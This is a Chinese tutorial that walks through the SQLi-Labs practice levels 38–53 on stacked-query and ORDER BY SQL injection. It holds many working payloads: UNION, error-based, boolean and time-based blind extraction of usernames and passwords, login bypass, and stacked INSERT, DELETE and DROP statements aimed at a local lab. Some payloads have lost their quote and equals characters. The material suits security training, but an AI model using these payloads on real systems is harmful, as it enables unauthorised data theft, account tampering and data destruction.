SQLi-Labs靶场从零搭建到通关全攻略(五):堆叠注入与ORDER BY注入

发布时间:2026/6/23 1:17:31
SQLi-Labs靶场从零搭建到通关全攻略(五):堆叠注入与ORDER BY注入 摘要在前四篇文章中我们已经掌握了SQL注入的绝大部分核心技术——从GET到POST、从显注到盲注、从基础注入到过滤绕过。但从Less-38开始我们将接触两种全新的注入方式堆叠注入Stacked Injection和ORDER BY注入。堆叠注入打破了“一次只能执行一条SQL语句”的限制允许我们通过分号;拼接多条语句实现增删改查甚至创建表、删除数据等操作。而ORDER BY注入则是在排序子句中注入由于ORDER BY后面不能使用UNION联合查询我们需要用全新的思路来应对。本文作为系列攻略的第五篇将系统讲解堆叠注入的原理与实战Less-38~45以及ORDER BY注入的四种方法Less-46~53。这是从“数据查询”到“数据操控”的关键跨越也是实际渗透测试中极具实战价值的高级技能。一、堆叠注入突破单语句的限制1.1 什么是堆叠注入在MySQL中每条SQL语句以分号;结尾。堆叠注入Stacked Injection就是利用这个特性在第一条SQL语句结束后用分号拼接第二条、第三条……多条SQL语句一起执行。打个比方普通注入就像你只能给数据库“打一个电话”说完就挂。堆叠注入就像你可以“连续拨打多个电话”——第一个电话查数据第二个电话删表第三个电话建账号一气呵成。核心条件数据库驱动必须支持多语句执行。在PHP中mysqli_multi_query()函数支持多语句执行而mysql_query()默认不支持。1.2 堆叠注入 vs UNION注入对比项UNION注入堆叠注入语句数量多条SELECT合并为一条结果多条独立SQL语句依次执行语句类型只能是SELECT可以是任意SQLINSERT、UPDATE、DELETE、CREATE等分号使用不需要必须用;分隔攻击能力只能查数据可以增删改查、创建表、删库1.3 常见堆叠注入语句-- 插入新用户 INSERT INTO users (id,username,password) VALUES (38,hacked,hacked); ​ -- 更新数据 UPDATE users SET passwordnewpass WHERE usernameadmin; ​ -- 删除数据 DELETE FROM users WHERE id38; ​ -- 创建表 CREATE TABLE test LIKE users; ​ -- 删除表 DROP TABLE test;二、Less-38GET型单引号堆叠注入2.1 关卡信息关卡名称Less-38 - GET - Stacked Query - Single quotes - String漏洞类型GET型单引号字符型堆叠注入核心考点在单引号闭合的GET参数中执行多条SQL语句2.2 第一步判断闭合方式访问?id1页面报错确认是单引号闭合的字符型注入。2.3 第二步获取列数字段数?id0 order by 3 -- //正常 ?id0 order by 4 -- //报错所以是3列2.4 第三步获取回显位?id0 union select 1,2,3 -- //2和3可以回显2.5 第四步获取数据库名?id0 union select 1,database(),3 --2.6 第五步获取所有表名?id0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity) --2.7 第六步获取用户表所有字段名?id0 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers) --2.8 第七步获取用户表所有数据?id0 union select 1,2,(select group_concat(id,~,username,~,password,\n) from users) --2.9 第八步堆叠注入——插入新用户?id0;insert into users (id,username,password) values (38,hacked,hacked); --2.10 第九步验证插入结果访问?id38页面显示新插入的用户信息说明堆叠注入成功2.11 其他堆叠操作示例创建表?id0;create table test like users; --删除数据?id0;delete from users where id38; --三、Less-39GET型数字型堆叠注入3.1 关卡信息漏洞类型GET型数字型堆叠注入与Less-38的区别不需要引号闭合3.2 通关步骤第一步测试闭合方式?id1 and 11 -- # 正常 ?id1 and 12 -- # 无显示确认是数字型注入。第二步堆叠注入插入用户?id0;insert into users (id,username,password) values (39,ysyx,ysyx); --第三步验证?id39四、Less-40GET型单引号括号盲注堆叠4.1 关卡信息漏洞类型GET型单引号括号闭合的堆叠注入核心特点无报错回显是盲注4.2 通关步骤// 判断注入点与闭合方式 ?id1 and 12 //页面正常显示 → 不是数字型 ?id1 //页面无回显 ?id1)-- //页面正常回显 → 确认闭合方式为 )单引号 括号 // 获取字段数 ?id1) order by 3 -- //页面正常 ?id1) order by 4 -- //页面无显示 → 字段数为 3 // 获取回显位 ?id0) union select 1,2,3 -- // 获取数据库名 ?id0) union select 1,database(),3 -- // 获取表名 ?id0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- // 获取字段名 ?id0) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase() -- // 获取数据 ?id0) union select 1,2,group_concat(username,password) from users -- // 堆叠注入插入新用户 ?id1); insert into users(id,username,password) values (40,less40,ysyx) -- // 验证 ?id40五、Less-41GET型数字型堆叠注入5.1 关卡信息漏洞类型GET型数字型堆叠注入与Less-39相同只是关卡编号不同5.2 通关步骤?id0;insert into users (id,username,password) values (41,less41,41414141); -- // 验证 ?id41六、Less-42POST型密码框堆叠注入6.1 关卡信息漏洞类型POST型密码框堆叠注入核心特点注入点在密码框用户名被过滤了6.2 通关步骤第一步观察页面这是一个登录页面有用户名和密码两个输入框。第二步测试注入点在密码框输入1页面报错确认注入点在密码框且是单引号闭合。第三步堆叠注入Burp Suite抓包修改POST数据login_useradminlogin_password1;insert into users (id,username,password) values (42,ysyx42,less42); --mysubmitLogin第四步验证用新创建的账号ysyx42/less42登录成功七、Less-43POST型单引号括号堆叠注入7.1 关卡信息漏洞类型POST型单引号括号闭合的堆叠注入与Less-42的区别闭合方式从变成了)7.2 通关步骤login_useradminlogin_password1);insert into users (id,username,password) values (43,my43,ysyx); --mysubmitLogin八、Less-44POST型盲注堆叠注入8.1 关卡信息漏洞类型POST型盲注堆叠注入核心特点无报错回显需要用盲注或堆叠通过登录成功/失败来判断核心漏洞mysqli_multi_query()支持堆叠注入8.2 通关步骤第一步判断注入点与闭合方式在用户名随意输入如admin密码输入a OR 11#用户名admin密码a OR 12#→ 登录失败确认注入成立第二步布尔盲注获取数据判断数据库名长度a OR (length(database())8)# // 登录成功 → 数据库名长度为 8获取数据库名逐字符a OR (ascii(substr(database(),1,1))115)# // 通过登录成功还是失败进行判断最后得出数据库名为security获取表名a OR (ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100)#获取字段名a OR (ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1))100)#获取数据a OR (ascii(substr((select concat(username,password) from users limit 0,1),1,1))100)#第三步堆叠注入万能登录绕过用户名admin 密码a OR 11#创建新用户用户名admin 密码a; insert into users(id,username,password) values(44,less44,ysyx)#通过新创建的用户密码登录九、Less-45POST型单引号括号盲注堆叠9.1 关卡信息漏洞类型POST型单引号括号闭合的盲注堆叠与Less-44的区别闭合方式为)9.2 通关步骤第一步判断注入点与闭合方式在用户名随意输入如admin密码输入1) or 1(1用户名admin密码 1) or 1(2 → 登录失败确认注入成立第二步布尔盲注获取数据判断数据库名长度1) or (length(database())8)# // 登录成功 → 数据库名长度为 8获取数据库名逐字符1) or (ascii(substr(database(),1,1))115)# // 通过登录成功还是失败进行判断最后得出数据库名为security获取表名1) or (ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100)#获取字段名1) or (ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1))100)#获取数据1) or (ascii(substr((select concat(username,password) from users limit 0,1),1,1))100)#第三步堆叠注入万能登录绕过用户名admin 密码1) or 1(1创建新用户用户名admin 密码1); insert into users(id,username,password) values(45,less45,ysyx)#通过新创建的用户密码登录十、ORDER BY注入全新的挑战Less-46~5310.1 什么是ORDER BY注入从Less-46开始注入点不再是WHERE子句而是ORDER BY子句。URL参数变成了sorthttp://localhost/sqli-labs/Less-46/?sort1后端的SQL语句大致是SELECT * FROM users ORDER BY $sort10.2 为什么ORDER BY注入不同核心区别ORDER BY后面不能使用UNION联合查询。打个比方之前的注入就像在“筛选条件”里做文章WHERE而现在是在“排序规则”里做文章ORDER BY——你只能影响数据怎么排不能直接让数据“显示”出来。10.3 ORDER BY注入的四种方法方法适用场景核心原理报错注入有错误回显在ORDER BY后构造报错语句布尔盲注排序结果有差异通过排序变化判断真假时间盲注无任何回显差异用sleep()延时判断文件导出有写入权限用INTO OUTFILE写文件十一、Less-46数字型ORDER BY报错注入11.1 关卡信息关卡名称Less-46 - GET - Error Based - Numeric - ORDER BY CLAUSE漏洞类型数字型ORDER BY报错注入核心特点参数名从id变成了sort11.2 第一步判断注入点访问http://localhost/sqli-labs/Less-46/?sort1页面按第1列排序显示表格。尝试http://localhost/sqli-labs/Less-46/?sort1 desc页面按第1列降序排列。http://localhost/sqli-labs/Less-46/?sort2 asc页面按第2列升序排列。说明sort参数是可控的注入点。11.3 第二步报错注入获取数据库名方法一用extractvalue()?sort(extractvalue(1,concat(0x7e,database(),0x7e)))方法二用updatexml()?sort(updatexml(1,concat(0x7e,database()),1))11.4 第三步获取表名?sort(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e)))11.5 第四步获取表字段?sort(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),0x7e)))11.6 第五步获取数据?sort(extractvalue(1,concat(0x7e,(select concat(username,:,password) from users limit 0,1),0x7e)))十二、Less-47单引号字符串ORDER BY报错注入12.1 关卡信息漏洞类型单引号字符串型ORDER BY报错注入与Less-46的区别闭合方式是单引号12.2 通关步骤第一步判断闭合方式?sort1报错确认是单引号闭合。第二步报错注入获取数据库名?sort1 and updatexml(1,concat(0x7e,database(),0x7e),1) --获取表名?sort1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) --获取字段名?sort1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),0x7e),1) --获取数据?sort1 and updatexml(1,concat(0x7e,(select concat(username,:,password) from users limit 0,1),0x7e),1) --十三、Less-48数字型ORDER BY布尔盲注13.1 关卡信息漏洞类型数字型ORDER BY布尔盲注核心特点无报错回显13.2 第一步判断注入类型用数学运算测试?sort1 ?sort2-1两个请求返回相同的排序结果说明2-1被当成数值1执行了。确认是数字型注入。13.3 第二步判断注入点?sort1 and 11 //页面正常排序 ?sort1 and 12 //页面无变化 → 条件判断不生效说明 and 在 ORDER BY 子句中无法直接使用13.4 第三步时间盲注判断数据库名长度当条件为真时立即响应为假时延迟 5 秒?sortif(length(database())8, 1, sleep(5)) // 立即响应 → 数据库名长度为 8获取数据库名逐字符?sortif(ascii(substr(database(),1,1))115, 1, sleep(5))获取表名?sortif(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101, 1, sleep(5))获取字段名?sortif(ascii(substr((select column_name from information_schema.columns where table_nameusers and table_schemadatabase() limit 0,1),1,1))105, 1, sleep(5))获取用户表数据?sortif(ascii(substr((select concat_ws(:, username, password) from users limit 0,1),1,1))100, 1, sleep(5)) // 如何不好用用以下这个 ?sortif(ascii(substr((select username from users limit 0,1),1,1))100, 1, benchmark(20000000, md5(1)))13.5 第四步布尔盲注判断数据库名长度?sortif(length(database())8, id, username) // 按 id 排序 → 条件为真获取数据库名?sortif(ascii(substr(database(),1,1))115, id, username)获取表名?sortif(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100, id, username)获取数据?sortif(ascii(substr((select concat(username,password) from users limit 0,1),1,1))100, id, username)十四、Less-49单引号字符串ORDER BY布尔盲注14.1 关卡信息漏洞类型单引号字符串型ORDER BY布尔盲注核心特点无报错回显单引号字符型14.2 通关步骤第一步判断闭合方式?sort1 //页面正常返回排序后的数据 ?sort1 //页面返回空无报错信息→ 说明闭合方式为单引号 第二步布尔盲注?sort1, if(条件, username, id), 1条件为真按username字段排序条件为假按id字段排序。14.3 获取数据判断数据库名长度?sort1, if(length(database())7, username, id), 1 // 长度是否大于7首行为admin为真为Dumb为假 ?sort1, if(length(database())8, username, id), 1 // 长度是否大于8首行为admin为真为Dumb为假结论为8逐个获取数据库名字符?sort1, if(ascii(substr(database(),1,1))114, username, id), 1获取核心表名users// 先判断长度为5 ?sort1, if((select length(table_name) from information_schema.tables where table_schemadatabase() limit 3,1)5, username, id), 1 // 然后逐个获取字符 ?sort1, if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 3,1),1,1))116, username, id), 1获取字段名username 和 password?sort1, if(ascii(substr((select column_name from information_schema.columns where table_name0x7573657273 and table_schemadatabase() limit 1,1),1,1))116, username, id), 1获取最终数据账号密码?sort1, if(ascii(substr((select username from users limit 0,1),1,1))67, username, id), 1十五、Less-50数字型ORDER BY堆叠注入15.1 关卡信息漏洞类型数字型ORDER BY堆叠注入核心特点虽然是ORDER BY场景但支持堆叠注入15.2 通关步骤第一步判断注入类型输入?sortrand()多次刷新页面每次刷新排序结果发生变化→ 说明rand()被成功执行 →数字型注入第二步使用报错注入获取数据库名?sort1 and updatexml(1,concat(0x7e,database(),0x7e),1)--第三步使用报错注入获取所有表名?sort1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),1)--第四步使用报错注入获取users表的字段名?sort1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1)--第五步使用报错注入获取数据?sort1 and updatexml(1, concat(0x7e, (select concat(username,0x3a,password) from users limit 0,1), 0x7e), 1)--第六步堆叠注入插入数据?sort1;insert into users values(50,ysyx50,ysyx);--验证http://localhost/sqli-labs/Less-50/?sort1 desc十六、Less-51单引号ORDER BY堆叠注入16.1 关卡信息漏洞类型单引号字符串型ORDER BY堆叠注入与Less-50的区别闭合方式是单引号16.2 通关步骤?sort1;insert into users (id,username,password) values (51,ysyx51,51515151); -- // 验证是否有增加的那条数据 http://localhost/sqli-labs/Less-51/?sort1十七、Less-52数字型ORDER BY盲注堆叠17.1 关卡信息漏洞类型数字型ORDER BY盲注堆叠核心特点无报错回显但支持堆叠17.2 通关步骤第一步验证注入类型为数字型?sortrand() // 每次刷新排序结果都不同第二步布尔盲注?sortrand(length(database())8) // 条件为真rand(1) 返回固定序列页面按特定顺序排列 // 条件为假rand(0) 返回不同序列页面排序变化第三步堆叠注入?sort1;insert into users(id,username,password) values(52,ysyx52,5252) -- // 验证 http://localhost/sqli-labs/Less-52/?sort1 desc十八、Less-53单引号ORDER BY盲注堆叠18.1 关卡信息漏洞类型单引号字符串型ORDER BY盲注堆叠与Less-52的区别闭合方式是单引号18.2 通关步骤?sort1;insert into users (id,username,password) values (53,ysyx53,123453); --总结掌握了堆叠注入的核心原理Less-38~45利用分号;拼接多条SQL语句突破了单语句的限制实现了插入、更新、删除、创建表等操作通关了8关堆叠注入关卡从GET到POST、从有报错到盲注、从单引号到数字型、从普通闭合到括号闭合覆盖了堆叠注入的各种场景理解了ORDER BY注入的特殊性Less-46~53ORDER BY子句不能使用UNION联合查询需要换一套打法掌握了ORDER BY注入的四种方法报错注入Less-46/47、布尔盲注Less-48、时间盲注Less-49、堆叠注入Less-50~53通关了全部8关ORDER BY注入关卡从数字型到字符串型、从有报错到盲注完整覆盖了ORDER BY注入的各种场景从Less-38到Less-53我们完成了从“数据查询”到“数据操控”的跨越。堆叠注入让我们可以修改数据、创建表、删除记录而ORDER BY注入则让我们掌握了排序场景下的注入技巧。这两项技能在实际渗透测试中极具价值——前者让你获得更大的控制权后者让你在更多场景下找到突破口。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

月新闻